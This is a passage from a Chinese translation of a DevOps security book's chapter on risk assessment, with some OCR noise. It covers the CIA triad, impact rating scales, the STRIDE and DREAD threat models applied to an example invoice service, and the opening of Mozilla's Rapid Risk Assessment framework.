
风险管理的概念与经营生意密不可分。组织做出的每个决策都是机遇与风险之 

间的平衡。经验老到的商人学会了本能地驾驭专业领域里的风险，这就是他们的第 

二天性。对于我们剩下的人来说,风险管理需要更加正式的方法论。

风险管理在!SO 31000:2009中的定义是:“……指导和控制组织风险的协调性 

活动。”这个定义用在这里有些过于宽泛,但我们可以将其分解成几个有意义的部分。

第一个概念是组织,比如，一家企业、ー个大公司的内部部门、一家非营利的 

教育机构、爸爸开的五金店，等等。风险必须在同等规模的组织级别下识别、度量 

和评级,这样オ有办法进行比较。例如，对于一家10亿美元规模的公司来说，一 

个严重的风险可能是失去ー个50亿美元的市场，而对于同一个公司的IT部门来说， 

ー个严重的风险可能是失去备份数据中心。这两个风险在各自的组织中（企业和IT 
部门）都是严重的,但它们不能直接进行比较，因为每个组织的风险承受能力是不 

同的,如图11.1所示。

1 Charles Duhigg是一名美国记者,曾于2013年作为《纽约时报》记者团队中的ー员获得过普利策 
奖,他著有《习惯的力量》ー书。译者注
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门承受得更高。

图11.1不同组织的风险等级不能直接比较,因为每个组织的风险承受能力有高有低。

定义中的第二个概念是指导和控制ー个组织对风险的态度。实际上，关于哪些 

风险应该承担而哪些风险应该规避，风险管理允许组织做出相应的决策。当决定承 

担风险时，将风险降到组织能够承受的水平才是正确的决策。正如Charles Duhigg 
所说,这就是经过计算并能让组织保持盈利的可以承受的风险。

最后，ISO的定义强调：风险管理活动必须是协调性的。组织内各个需要评估 

和承担风险的部门必须共同管理这些风险（先从确保每个人都认识到风险管理的投 

入开始）,并且使用统ー标准来对风险进行评级和处理。你最不希望看到的是,组 

织里一个部门确立了公开可访问的Web服务是严重风险,而另ー个部门却由于没有 

意识到这个风险而没有设置任何身份验证。和DevOps ー样，沟通和协作对于风险 

管理来说,是至关重要的。

ISO对风险管理的定义虽然简短，但却道出了成功的风险管理策略所需的所有 

构成要素。这个定义提纲挈领,并非特指信息技术领域。在DevOps上下文中,我 

们希望能重点关注的是企业产品和服务所处理的信息的风险。
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一切关乎信息!

初次接触信息安全模型的工程师常常会有这样的疑问，是不是一切都要被 

当作信息来对待。例如,窃取服务器cpu算カ来挖比特币可能并不意味着从服 

务器窃取信息。发动针对特定服务的DoS攻击也是如此 从技术的角度来看, 

安全影响首先可能与信息无关。

这是ー个应该尽早纠正的常见错误:所有的基础设施组件都是用来管理信 

息的。DoS会切断对服务上的信息的访问:被窃取用来挖比特币的服务器失去 

了处理正当信息所需的算カ，也失去了对服务器上处理过的信息不会被篡改的 

保证。

在对ー个组织的风险进行评估时，我们必须关注该组织处理的信息——不 

管它们是用户提供的、内部生成的,还是公开的、机密的，或是随时可以检索的， 

等等 其他一切都是由这些信息的安全所驱动的；而技术构成要素只是这个过 

程中用到的工具而已。

当你评估指定的系统时,由它处理的信息并不能马上被识别出来，但如果 

你挖掘得足够深入,这些信息会渐渐地呈现出来。一台SSH堡垒机上可能不会 

保存信息，但对于运维ー个永远不会被篡改的高度敏感的数据库来说,它的可 

用性至关重要,这个数据库中的信息是最重要的,而SSH堡垒机的安全性必须 

足以保护这些信息。

在讨论风险时,常用的ー个模型是CIA三要素：机密性(Confidentiality )、完 

整性(Integrity )及可用性(Availability )。要做到万无一失,信息必须在三个方面 

都具备一定程度的安全性。在度量信息的风险之前,我们必须定义ー个给定的信息 

片段需要何种程度的机密性、完整性和可用性。

11.2 CIA三要素
研究信息安全可能是ー项烧脑的工作。信息并不是汽车或博物馆藏品这样可能 

会被盗窃或者是可追回的有形物品。它是可以被读取、复制、修改或删除的数据。 

信息没有物理属性，所以评估普通商品安全性的传统模型并不适用于它。我们使用 

CIA三要素代替传统模型来分析信息安全:

•机密性一信息的保密等级。信息可以公开，也可以保密到只有信息拥有者 

才能访问(比如密码)的程度。

•完整性——确保信息没有被篡改，没有在预期的处理流程以外被修改。
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»可用性——在特定时间访问信息的能力。

CIA三要素是ー个简单的模型，但其灵活性使它成为数十年来信息安全专家用 

来定义系统安全属性的标准。它的三个构成要素很容易掌握,但为每个要素建立等 

级却富有一定的挑战性。在接下来的小节里，我们会逐一讲解这三个要素,并讨论 

如何使用标准的等级来对信息的机密性、完整性和可用性进行评级。

11.2.1 机密性

并非所有信息都是机密的，同样地,也并非所有信息都要公开。建立信息机密 

性等级就是准确地定义出谁可以在给定的时间访问这些信息。大多数数字化组织代 

表用户存储数据,这些信息通常被视为机密。如果没有机密性等级定义,就很难回 

答这些信息到底要保密到什么程度。

军事领域可能是定义机密等级的最佳示例，每个信息片段会被归类为绝密、机 

密或公开，等等。每个等级的信息都有清晰的处理流程,确保那些标记为“绝密” 

的信息不会出现在公开的互联网上（或者至少不要被有恶意的角色接触）。

大型企业通常也会采用类似的等级对内部数据进行分类。银行非常善于保护信 

息，它们能够区分出不同的数据，包括只有少数雇员可以访问的数据（如账户余额） 

和整个部门可以共享的数据。

建立实用的数据分类模型常常是ー个组织达到“临界质量”的信号。如果要指 

出具体数字的话,当ー个公司达到100人的规模时就应该考虑机密性的问题了。当 

达到这个规模时，似乎就有了只有合适的人才能访问合适的信息的要求,因此需要 

ー个能够管理访问的框架。当公司达到1000人的规模时,缺少机密分类的问题就 

会显现出来,人们会公布他们不应该保有的文档或者他们错误地保存了信息。将信 

息分成四个机密性等级是ー种最实用的方法,其中等级最低的是公开的信息,等级 

最高的是只有少数几个人才可以访问的信息、。例如,在Mozilla我们建立了以下四 

个等级：

• 公开一全世界都可以共享的数据。

«员エ机密——组织内的每个人都可以共享的数据。

• 工作组机密——在某个特定领域内，工作的人组成的特定群组（比如一个完 

整的团队）可以共享的数据。

• 只允许特定个人访问——只能与特定的个人共享的数据,这些人获得了数 

据所有者授予的访问权限。根据须知原则’，共享的法律文件就是ー个很好 

的例子。

1 Need-to-Know Basis»须知原则，指机密信息只让有需要的人知道。-- 译者注
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四级规则

本章中无论我们要度量的是哪种类型,我们的分级将始终都是四级。为什 

么是四级?这不是拍脑袋的决定。四个等级提供的粒度似乎不大也不小，它大 

到足够能表示大多数风险，同时又小到让我们能够记住每个等级的含义。

最重要的是,使用偶数个等级还有一点思维技巧在里面：它强迫人们做出 

选择,因为没有折中的选项。切斯特大学的ー项研究证实,当人们面临的选择 

数量是奇数时，他们往往会选择居中的那个,〇居中选择对谈判来说，可能是ー 

种不错的策略（在两个不大理想的选项中，人们会优先考虑二者中间的那一个）, 

但却会给风险评估带来负面影响。

在衡量风险时，你希望人们有意识地做出决定，而不是不假思索地选择简 

单的方法。四个等级会迫使人们在第二级和第三级之间抉择，并考虑清楚每个 

等级的影响。这个小技巧可以大大提高风险评估的质量。

在对一段给定信息进行机密性评估时,应将其归入上面四种机密类别中的ー种。 

下面是ー些示例:

• 存储在公司博客数据库中的文章是公开的,因为任何人都应该能够访问网站 

来阅读。

• 关于公司产品绩效的内部指标可以在内部共享，应该被视为员エ机密。因此, 

允许所有员エ访问这些数据，但不应该向公众公开。

• 包含凭证（如AWS访问密钥或数据库的用户名密码）的配置数据只允许运 

维团队访问，而不允许其他人访问。这些信息将被归类为工作组机密，即公 

司内部只有特定团队才能访问这些信息。

• 使用后端数据库同步其用户数据的密码管理服务只允许特定个人访问，因为 

只有数据的所有者，以及他们指定的、可以共享数据的人才能访问这些数据。

11.2.2 完整性

完整性是ー个很难定义的概念。和机密性不同，人们只有经历过很多事情以后 

才能明白完整性的含义（有些人从未搞清楚过），因此很难将其应用到计算机系统中。 

事实上,我发现风险评估中最具挑战性的部分通常就是对完整性风险的讨论。

对ー个人来说,完整性衡量的是这个人的诚实和美德。ー个人的完整程度取决 

于他在社会中的角色:一个士兵成为间谍所带来的后果可能远没有一名将军变为间

1 Rodway Paul, Schepman Astrid, Lambert Jordana. Preferring the One in the Middle: Further Evidence fbr 

the Centre-stage Effect. Applied Cognitive Psychology  J 月,2011 年.
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谍所带来的后果严重。ー个人的责任越大,完整性的要求就越高,因为完整性的缺 

失所带来的影响也会更大。

对数据系统来说,完整性的定义也是如此。它代表了数据在整个生命周期内 

保持精确和不变的需要。和机密性一样,不同的数据对完整性的要求也不ー样。 

邮件营销数据库的损坏带来的影响比ー个公司计费数据库的损坏带来的影响要小 

得多。

因此,这里也是根据对组织的影响来定义完整性的等级。完整性是一个二元概 

念（数据要么具备完整性,要么不具备）,争辩完整性缺失了多少并没有多大意义， 

至少在不知道其影响的情况下是这样的。

一旦影响和需求被定义清楚之后，就可以采取技术措施来确保完整性始终如一了。 

数据对组织的重要性决定了要增加多少安全控制来确保这些数据的完整性。例如:

• 销售商的清单可能对完整性的要求比较低,因为即使被修改了,它给组织带 

来的损害也不会严重到哪里去。因此,组织可能允许营销部门把这份清单保 

存在他们电脑里的ー份电子表格上,而无须额外的控制，这样做的好处是可 

以保持简单并节省基础设施的成本。

・ 创业公司收集并存储的客户健康数据可能要求中等的完整性，因为这些信息 

的修改会给客户带来困扰,但不会让公司面临倒闭的风险。数据可以保存在 

数据库中并采取ー些常规的备份手段。

• 负载均衡器和应用之间的通信信道可能要求髙完整性，因为篡改由负载均衡 

器转发的消息可能会让攻击者有机可乘,用欺诈性请求替换正常请求。我们 

将使用传输层安全（TLS）来保护连接的完整性。

• 金融交易程序的源代码可能要求最高的完整性，因为如果攻击者能够修改它的 

话,其提交的欺诈性订单可能价值数10亿美元。因此，任何修改都可能需要 

两位资深开发人员的加密签名,而且在发布之前还可能需要对签名进行校验。

11.2.3 可用性

光速环绕地球一周需要134毫秒。在不远的将来,设备、电话或计算机可以在70 
毫秒之内与地球上的任何服务器交换信息。作为现代人,我们越来越依赖于持续可用 

的信息,因为互联网让我们能够以最快的速度访问任何想要的东西。可用性是当今信 

息系统设计的一个关键因素，失去可用性会让成千上万的运营团队夜不能寐。

和机密性及完整性不同,可用性从未被完美地实现过。互联网的规模实在太大, 

戈壁沙漠上的客户端和塞内加尔海岸上的服务器之间连接着的所有组件无法保证ー 

直可以正常工作。度量可用性的第一步是定义清楚这种可用性是向谁提供的。

许多组织把可用性的定义分为两类：ー类是其内部组件的可用性,ー类是其公 
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开组件的可用性。对内部可用性的要求可能是基础设施百分之百可以获取指定的信 

息。对公开可用性的要求可能是只有来自北美和欧洲的人才能访问它,因为这是该 

组织的市场区域所在。有了这些定义,组织就可以聚焦在内部网络的可用性和相关 

地理区域的连通性上了。

然后是通常所说的几个9的可用性。再完美的系统也会遇到故障，信息也会经 

常变得不可用。几个9是定义组织可以承受信息不可用的时间期限。信息可用的时 

间在：

, 99% （两个9）,意味着一整年里不可用的时间超多3天。

• 99.9% （三个9）,意味着一整年里最多只能有&76小时不可用。

• 一直到99.99999% （七个9）,基础设施必须保证信息在一整年里不可用的时 

间不能超过3.15秒！

要做到七个9没那么容易，在9的个数增加的同时基础设施的成本也在增加 。 

真正需要高可用的组织会竭尽全力地把数据中心分布在不同的地理区域,以降低因 

停机而造成的信息访问的风险。对更多可用性的追求驱动着许多运维团队，因为时 

间就是金钱，而金钱是企业的生命线。

定义一段给定信息的可用性要求是十分简单的。下面是ー些例子:

• 员エ记录的可用性要求较低,从归档中获取可能要花几天时间，但不会损害 

业务。两个9就可以。

• 对公司内部的账单服务来说，几天不可用也许可以接受，但更长时间不可用 

可能会损害现金流。三个9就够了。

・ ー个大型在线商店的订单处理服务对可用性要求很高，可能需要七个9的可 

用性。如果订单可以放入队列里并异步地处理，短暂的停机不会对组织造成 

什么伤害，那么三个9也可以接受。

• 足球世界杯决赛直播肯定需要近乎完美的可用性，否则无法观看比赛的球迷 

有可能引发街头骚乱。这里要求七个9是合适的，尽管3秒钟的中断时间恐 

怕就会在全世界各地的酒吧和球迷家里造成紧张的气氛。

机密性、完整性和可用性这三个基本概念决定了安全工程师在信息系统上的エ 

作方式。起码在风险管理工作中,这些概念通常足以用来识别组织中最重要的数字 

资产。在下ー节中，我们将简要介绍如何对组织内的信息进行评级，以此识别岀那 

些比其他数据更需要关注的数据片段。

11.3 确定组织面临的最大威胁

要想成功,风险管理计划必须从组织的顶层开始,并识别出可能摧毁整个业务 
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的威胁。图11.1中的IT部门无法独自识别出和整个企业相关的风险，因为它的视 

角有限；在IT部门看来,500万美元的损失已经很严重了,而在一家企业看来,这 

只是中等规模的损失。

自下而上的风险评级极其困难。评估人员开始只能着眼于组织中的ー小部分， 

然后再逐步展开，随着对组织生存能力了解得越来越全面,他们必须不断调整评估 

的层级。

更好的方式是自上而下，从询问高层管理人员关心什么开始:是否存在市场被 

竞争对手占领的威胁？报纸上的负面报道会损害产品的声誉吗?也许ー场天灾就能 

让公司几个星期都无法正常运转。只有和组织最高层的战略制定者进行沟通,分析 

师才能识别出最严重的风险。

每ー个组织都是不同的,探索的过程也是完全不同的。我建议在常见的如声誉、 

生产カ和财务等方面来识别风险，并从这些地方开始向下挖掘。

一切向钱看

每个组织都会经历财务风险,而且大部分风险看起来都是财务风险ー场 

电池爆炸的公关噩梦会影响销售和收入,制造工厂的安全问题会阻碍生产并影 

响销售,等等:人们不禁会把所有事情都打上财务风险的标签,但这限制了关 

于如何减轻并承受这些风险的讨论

更好的方式是识别第一级的风险，识别它造成的后果其实没那么重要 这 

样的话，如果电池发生了爆炸,声誉风险应该被列出来安全问题是ー个生产 

カ风险。有些时候，财务风险确实是直接的结果，例如，和供应商签订合同或 

者将重要的资源分配给成本高昂的项目。最终,一切都与钱有关,但评估应该 

找到其背后的原因。

如果组织的规模足够小，应当直接和高管们沟通。与CEO的对话可能是这样的:

“我正在为公司收集一份风险清单,还要进ー步对这些风险进行评级在您看来， 

这个组织面临的最大风险是什么?"

“嗯，这很简单：离一年中最大的购物季圣诞节只有三个月了 我担心线上商 

店的重新设计不能及时完成我们在新版本上下了血本,希望它能提高销量，而且 

投资者也急于看到在年底之前我们的收入能有所增长:" CEO答道

“您认为妨碍这个项目按时完成的因素是什么?是人力不够？还是技术问题? 

或者是其他什么原因? ”
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“你可以去和我们的CTO聊聊技术细节,但我了解到的是我们很难招聘到合格 

的工程师匚我们现在的平台不稳定,访问量一高就会崩溃,这不仅仅是丢失订单的 

问题,而且这会影响客户对我们的信任。这些是我最担心的问题」

从这段简短的对话里我们可以推断出许多内容。这样从业务的角度来看,CEO 
需要的是线上商店的高可用性和完整性,而他们计划通过ー个项目对线上商店进行 

重新设计来实现这ー点。识别出来的风险如下:

・ 生产カ——缺少合格的人カ资源而拖累了生产カ。

• 财务（两个层级都有）——投资者期望收入增加,这样オ会支持公司;有时 

客户的订单会丢失。假设只有很少的订单会偶然丢失，那么投资风险显然是 

影响最大的ー个。

• 声誉——平台不稳定,用户会逐步流向竞争对手那里。

正确的后续行动应该是准确地识别出在不危及生存的前提下公司能够承受的财 

务损失有多大，市场竞争有多激烈,不良声誉所产生的影响有哪些，技术上的挑战 

给组织带来了怎样的压カ。其他高层管理人员可能会有这些问题的答案。

如你所见,我们在分析中关注的是高层次的风险。这样做的思路是，先捕获业 

务风险再尝试确定更具体的风险。这些知识将有助于更有效地对风险进行评级，例 

如，判定前一周的订单泄露到公开网站上的风险没有在12月份第一周失去可用性 

的风险那么严重。

了解是什么将组织置于了风险之中,并了解那些必须优先分配资源的最大风险。 

任何组织的时间和财カ都是有限的。风险管理的目的是帮助组织首先聚焦在最大的 

风险上,然后按照风险列表自上而下依次处理。在上面这种情况下，应该把更多的 

资源用于保护数据的完整性和可用性上，而不是保护数据的机密性上。

这听起来可能与直觉相悖（安全人员总是会优先考虑机密性）,但这是分析告诉 

我们的。不经分析，你可能会先把精力放在解决低优先级的问题上，然后再去解决那 

些真正危及公司生存的问题。使用CIA模型定性风险就是完成了整个机制的第一级。 

我们接下来需要通过ー种方法将这些风险量化，这样它们就可以被正确地评级。

11.4 量化风险产生的影响

在上面的例子里，我们认为失去投资人的财务风险要比丢失客户订单的财务风 

险严重。这听起来像是ー个正确的决定，但我们缺乏数据支撑。有时你会发现，自 

己在风险管理中做出的决定靠的是“第六感”，但这不是ー个常规做法。这通常是 

决策缺少足够的数据支撑的症状。当信息匮乏时，风险决策主要是定性的，而当信 

息更丰富时,风险决策就变成了定量。在评估中,始终都要获取足够的数据，尽可 
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能地做到可以量化，这样才能提升分析水平。

继续回到前面定义的模型,我们可以确定三个需要量化的领域:财务、声誉和 

生产カ。根据组织结构及评估需要的粒度,你可以考虑更多受到影响的方面。例如， 

信息风险因素分析法（FAIR, F actor Analysis of Information Risk）定义的就是六个方面, 

而不是三个方面（链接11.1）。在本章我们将尽可能地保持简单，但在实际中可以考 

虑更复杂的方法。

11.4.1 财务

财务影响是最容易量化的类型。找到首席财务官，问问他，亏损多少就会让公 

司生存不下去，你很可能会得到ー个直接的答案。这就是关键风险。财务影响的等 

级大致如下:

• 低于io万美元的轻度影响。这类风险会给组织造成不便,但是组织可以很容 

易地恢复过来。

• 损失达到100万美元的中度影响。在这种风险等级下，在使用公司资源之前, 

中层管理人员必须签字。

• 损失达到1000万美元的重度影响。这时高层管理人员必须清楚地了解这类风 

险。

• 损失超过1亿美元的极度影响,这是该公司年收入的三分之一。如果出现这 

种规模的风险，公司的生存就岌岌可危了。髙管团队不仅要知道这些风险， 

还要每周去密切监控它们。

11.4.2 声誉

声誉在许多业务关系中发挥着举足轻重的作用，而声誉下降可能会给组织带来 

负面影响。声誉的问题在于量化的难度。政客们用民意测验来衡量他们在目标人群 

中的声望，但中小型企业几乎无法采用这种方法。另一种方法是根据某一特定事件 

的媒体报道来对声誉风险进行评级。虽然做不到百分之百的精确,但有助于推动关 

于影响的对话：

• 轻度影响意味着事件不太可能损害企业的声誉。

・ 中度影响表现为客户在社交媒体上抱怨负面体验。受影响的客户很少,而且 

在大部分情况下,客服可以解决这个事件。

• 重度影响意味着专业媒体已经报道了该事件,而且可能已被ー小部分客户注 

意到了。组织的声誉会受到损害但可以恢复。

• 极度影响意味着风险被国家级的媒体（报纸、电视和其他媒体）关注,并严
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重损害了组织的声誉。公司的生存面临威胁,恢复客户的信任需要付出巨大 

的努力。

11.4.3 生产カ

所有组织的运转都依赖于生产商品或者提供服务的能力。对损害生产カ的风险 

进行量化是风险评估过程中的重要一环。我们可以使用两个变量来进行量化:生产 

カ受损的时间长度和组织受影响的范围。

我们先把组织分成大小两种团队。劳动カ在组织中的占比少于10%的任何团队 

都被划为小团队，超过io%就算大团队。基于这样的团队分类,生产カ的影响等级 

划分如下:

・ 轻度影响会让一个小团队最多受阻一天，或是让ー个大团队受阻几分钟。

• 中度影响会让ー个小团队受阻数天,或是让一个大团队受阻几小时。

• 重度影响会让一个小团队受阻数周,或是让ー个大团队受阻数天。这对组织 

的影响是巨大的,项目会延迟,客户得不到产品或服务，但组织还可以翻身。

"极度影响会让一个小团队受阻数月，或是让ー个大团队受阻数周。这时组织 

的生产能力会受到严重影响，生存处于危险之中,要想恢复就需要组织的大 

量投入。

也可以使用生产カ影响等级来计算财务损失,比如，可以计算出损失的劳动カ 

成本。假如组织中有30%的人一整周都无法工作，按照日薪500美元计算,那么重 

度的生产カ影响和中度的财务影响的等级是相当的。

我们现在有了三种类型的风险（机密性、完整性和可用性）和三个方面的影响 

（财务、声誉和生产カ）。我们正在创建一个风险分类与评级框架的大纲。对于许多 

组织来说,只对财务、声誉和生产力的影响进行度量还是远远不够的,还要运用更 

细粒度的模型来深入地评估威胁和影响。在下ー节中，我们将讨论如何识别组织中 

的威胁并度量其脆弱度。

11.5 识别威胁并度量其脆弱度
风险量化的结果通常被定义为威胁（Threat）、脆弱度（Vulnerability）和影响 

（Impact）三者的乘积:R=TX VXL

我们已经讨论了如何量化影响，但还没有讨论如何度量威胁和脆弱度。这ー节 

我们将讨论ー个名为STRIDE的威胁建模模型和一个名为DREAD的脆弱度评估エ 

具。这两个模型如果ー起使用，评估人员就能够识别出威胁并度量其脆弱度，从而 

更好地对风险进行分类。
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本章的后面在构建自己的风险评估框架时,你可以重用威胁和脆弱度的概念来 

指导风险的分类。

11.5.1 STRIDE威胁建模框架

威胁建模就是识别出那些损害信息CIA三要素的攻击向量的过程。威胁建模这 

个术语听起来很炫,但其实是ー项简单的工作：检查特定系统,思考并找出攻击者 

可能对其进行破坏的方式。比如,以第1部分的发票服务为例,一个和它相关的威 

胁是:攻击者破坏了服务的访问控制并获取了所有用户的发票。这种对机密性的破 

坏可能会对该组织的声誉造成极大的影响。

威胁建模要求覆盖系统暴露出来的可以被攻击的全部范围。要做到三百六十度 

无死角是十分困难的,特别是当系统特别庞大复杂时，这就需要用ー些方法来帮助 

指导工作 T 〇 STRIDE （Spoofing> Tampering, Repudiation、!nformation Disclosure> 
Denial of Service> Elevation of Privilege,欺骗、篡改、否认性、信息泄露、拒绝服 

务和特权提升）就是这些方法中的一种,它由Microsof!提出并用于指导其威胁评估 

工作。这个缩写代表了分析师应该考虑的威胁类型,Microsoft提供的文档对其描述 

如下（链接11.2）'：

• （身份）欺骗----- 个例子是先进行非法访问，然后使用另一个用户的身份

验证信息，例如用户名和密码。

• （数据）篡改——恶意修改数据。例子包括未经授权就更改持久保存的数据（例 

如保存在数据库中的数据），更改通过开放网络（例如Internet）在两台计算 

机之间传输的数据。

• 否认性——用户拒绝执行某个操作，但其他操作方无法证实这种拒绝是无效的, 

例如,某个用户在无法跟踪受禁操作的系统中执行非法操作。不可否认性是指 

系统对抗否认性威胁的能力。例如，购买某个产品的用户可能需要在收货时签 

收该产品。然后,供应商可以使用签收单来证明该用户确实收到了包裹。

• 信息泄露——将信息透露给本不应该有权限访问这些信息的个人，例如，用 

户能够读取他们未授权访问的文件，或者入侵者能够读取在两台计算机之间 

传输的数据。

• 拒绝服务——拒绝服务（DoS）攻击会拒绝向有效用户提供服务，例如,使 

Web服务器暂时不可用。为了提高系统的可用性和可靠性，必须防范某些类 

型的DoS威胁。

• 特权提升——无特权的用户获得特权访问权限，从而拥有足够的访问权限来

I关于STRIDE的中文文档,见链接11.4。——译者・注 
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入侵或破坏整个系统。特权提升威胁包括攻击者有效地突破了全部系统防御, 

成为受信任系统本身的一部分,这是非常危险的情况。

使用STRIDE可以让评估人员在评估系统可能受到攻击的各种方式时,尽可能 

地做到面面俱到。我们还是关注发票服务，用ー个示例来看看STRIDE是如何指导 

分析的。回忆ー下，发票服务是ー个简单的Web应用，它有一个数据库，允许用户 

发布和检索医疗发票。用户在自己的电脑上通过浏览器来连接托管在AWS上的服 

务。我们假设你还没有在发票服务上实现任何的安全控制（没有身份验证和传输层 

安全协议等）。在这个上下文里，我们可以识别出下面这些威胁:

• （身份）欺骗——恶意用户可以盗用合法用户的身份并代表他们上传虚假发票。

• （数据）篡改——攻击者可以通过SQL注入或其他方法破坏数据库，删除或 

修改存储在其中的发票。

・ 否认性一•恶意用户可以从系统中删除客户已付费的发票数据，拒绝承认已 

经完成的支付。

• 信息泄露一■攻击者可能会泄露数据库中的所有发票，严重地损害合法用户 

的隐私。

• 拒绝服务——攻击者可以上传大量发票，使应用过载并崩溃，并阻止合法用 

户访问服务。

• 特权提升一攻击者可以破坏应用服务器，并获得基础设施中的其他关键服 

务的访问权限。

这份发票服务暴露出来的威胁清单仍然不够全面，但是可以展示STRIDE威胁 

模型是如何指导分析的。如果没有可以参考的模型,我们很可能会忽略至少ー两个 

攻击向量。

STRIDE有助于识别威胁，但不能覆盖组织对这些威胁所表现出来的脆弱度。 

我们接下来讨论的DREAD模型的目的就在于此。

11.5.2 DREAD威胁建模框架
我们现在有了模型来识别系统信息的威胁,也有了模型来量化这些威胁对组 

织造成的影响，但是这些威胁有多现实呢? DREAD模型可以帮助我们量化组织对 

特定威胁表现出来的脆弱度。这是Microsoft提出的另ー个模型，它与STRIDE配 

合,按照十个等级对五个方面进行评级，以此来评估特定威胁所带来的风险（链接 

11.5）。下面展示的是这个模型如何工作及得分的例子:

"潜在损害（DP, Damage Potential） --- •如果漏洞被利用,产生的损害有多大?

•可再现性（R, Reproducibility）----- 重现这次攻击有多简单？

・可利用性（E, Exploitability） ―・发起这次攻击有多简单？



11.5识别威胁并度量其脆弱度 321

• 受影响的用户(A, Affected user) ——大概有多少比例的用户受到影响？

• 可发现性(D, Discoverability)------发现这个漏洞有多简单?

通过DREAD模型做出的度量和我们之前建立的影响评级之间有一部分重叠的 

地方，这使得它们很难作为非常精确的公式来使用(请参考补充说明“科学严谨与 

风险评估”)。这个模型在数学层面不是很有效，但是在风险评估中,这是讨论漏洞 

的好方法。例如，我们可以用它来讨论之前识别出来的数据篡改的威胁 ：

• 潜在损害——该攻击可以修改数据库中所有未支付的发票,这会严重地影响 

组织的现金流。这种攻击造成的损害可能非常大。

• 可再现性——该攻击需要突破应用的防御，然而现在还不存在已知的攻击向 

量，所以几乎不可能再现这次攻击。

• 可利用性——发票服务托管在公开的互联网上,而且可以被所有人访问,所 

以可利用性非常高。

• 受影响的用户——有未支付发票的所有用户都可能受到影响。

・ 可发现性——发票应用的源代码是公开的，所以攻击者可以查看代码来找出 

漏洞。如果在开发发票应用的时候使用了最佳实践，那么就不太可能存在这 

样的问题，可发现性就较低。

计算出所有得分的平均值就得到了最终的评分。如果我们给出DREAD评估得 

分分别是。尸=8 ； R=2 ； £=10 ； J=10 ； D=4 ；那么该威胁最终的DREAD得分是： 

(8+2+10+10+4) + 5=6.8与7。根据我们的评估，数据篡改威胁的脆弱度是7或者更高。

科学严谨与风险评估

风险评估方法常常会因其不够严谨而备受批评。CIA三要素的合理性、 

DREAD等级评估的准确性,以及STRIDE中威胁的冗余都引发过专家的争论。 

就连风险公式/?=TxドX/也经常引起争论，

事实上,这些模型都不是完美的,也没有一个预先定义好的风险管理框架 

可以产生既全面又精确的结果。这些模型为风险管理的过程提供了方法和一致 

性，但它们不能避免ー些糟糕评估的出现。风险管理不是ー门追求精确的科学。 

实际上,框架涉及的数学知识越多，就越难以运用。

对于小型组织来说,它们常常选择保持简单,让人来做出评估。ー场由开 

发人员、运维人员、项目经理及安全工程师共同发起的讨论往往比ー套严格的 

公式更有效率。总之,两者都是有用的,你应该在科学的严谨性和框架的灵活 

性之间找到合适的平衡点。



322 11风险评估

STRIDE和DREAD都是驱动风险评估的有效工具，但随着系统规模的扩大, 

度量点的数量让评估的执行周期显著延长。在风险准确性和执行评估所消耗的成本 

之间寻找平衡点是非常重要的。如果组织还在快速发展并且投入安全保障的资源有 

限,那么对每ー个新服务都执行复杂的评估通常是不切实际的。在下ー节中，我们 

将讨论ー个模型,其目标是对每个新项目执行评估,并在最短的时间内捕获风险。

11.6快速风险评估
要想成功,风险管理策略要融入组织的每个部分里，并且要求每个参与数据处 

理的人都要投入其中。让一群工程师对风险管理感兴趣，这一点说起来容易做起来 

难。大多数工程师(尤其是小型组织里面的工程师)认为风险管理是ー个乏味无聊 

甚至是煎熬的过程,这些事最好留给咨询师来做，而不是负责实现公司产品的人来 

做。这些顾问的工作是以报告的质量来评估的，他们通常会证实每一个人的忧虑, 

做出令人费解的、五颜六色的电子表格,而高层管理人员只是漫不经心地瞥上一眼 

然后就抛诸脑后。

我和风险管理方法的第一次接触就和前面提到的类似,而且我认为这就是大多 

数工程师不喜欢这项工作的原因。记得在上大学时,有几个顾问来教授故障模型、 

影响及危害性分析(FMECA, Failure Mode, Effects and Criticality Analysis,链接 

11.6)课程。FMECA是ー个古老的方法论,它由美国军方在20世纪40年代提出, 

用于评估军方系统对故障的抵抗力,它逐步得到了普及，甚至被美国宇航局用于阿 

波罗计划。我们每六个学生分成一组，要求对一个虚构化学工厂中的ー些关键组件 

的故障风险进行评估,这些关键的组件有温度传感器或者二氧化碳传感器。在整整 

两天时间里，我们坐在ー起试着去理解FMECA方法论，并最终做出了一份巨大的 

表格，其中包含了每个组件的故障场景，并按照下面这些维度评级：

• 故障的概率。

• 故障造成的影响。

• 组件未检测到故障的概率。

三个值相乘就得到了某个指定组件的故障风险,并告诉エ厂应该把维护资源集 

中在哪个组件上。

我已经记不清这份作业最后得到的成绩,但却清楚地记得我非常不喜欢这个过 

程,而且我对产出的评估质量一点信心都没有。我们好像从来都没有足够的数据对 

任何事做出准确的评估，更多的是依靠猜测而不是度量。在我们的分析中定性的部 

分太多,而定量的部分不足。

多年之后，当我在银行工作时,我发现素质较高的工程师在第一次接触风险评 
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估时也有同样的感受，即便他们有多年的工作经验。我们的安全团队使用了一种追 

求全面彻底的定制方法论,在评估过程中每个人都被堆积如山的数据掩埋,这些数 

据需要收集、分类和评级。进行风险评估需要数周的时间，也需要组织中的许多人 

参与进来,即便目标系统没那么复杂。最终得到的数据显然是非常高质量的,也能 

帮助项目做出正确的决策，但是整个过程的成本意味着只有大型组织オ可以承受如 

此深度的风险评估。

对任何组织来说,经典的风险评估方法都可以带来巨大的价值，然而除了银行、 

政府机构或者全球性的制造企业,大多数企业都无法承担。这个过程实在是过于复 

杂、笨重和冗长。

在追求快速发布和高度灵活的DevOps组织中，这些方法起不到作用。当经典 

的评估完成时，软件早已发布了多个新版本，而风险数据也不再正确。而且评估的 

过程太漫长，并且无法对每个新项目都系统地进行评估，因此发现风险的流程只能 

运用在少数有限的项目上，因为这些项目足够重要，值得花时间。

经典的风险评估很有价值，但是在日常运用时需要的是一种轻量级的方法。快 

速风险评估框架（RRA, Rapid Risk-Assessment）是轻量版本的风险评估框架，它 

能在30分钟到1小时之间完成对ー个项目的评估（链接!1.7） 〇我们在Mozilla提 

岀了这个框架，目的是将这种高阶的风险发现方法引入到所有的新项目中,以及决 

定何时投入更加细致的安全工作，例如，需要几周时间才能完成的深入的安全审查。 

本节我们将演练一下RRA框架，以及讨论各种度量点，并展示如何将其应用在发 

票服务上。

11.6.1 收集信息

任何风险评估方法的第一步都是收集信息并定义分析范围。在大规模的风险评 

估工作中，信息收集这个阶段可能需要几天时间，有时甚至需要几周。而RRA只 

用识别待审查的目标系统并指定几个关键人员即可。

图11.2展示了一份典型的信息表头，它们保存在评估电子表格中。这份表格包 

含了服务的名称和说明,以及目标受众。在发票服务的上下文里，组织的客户就是 

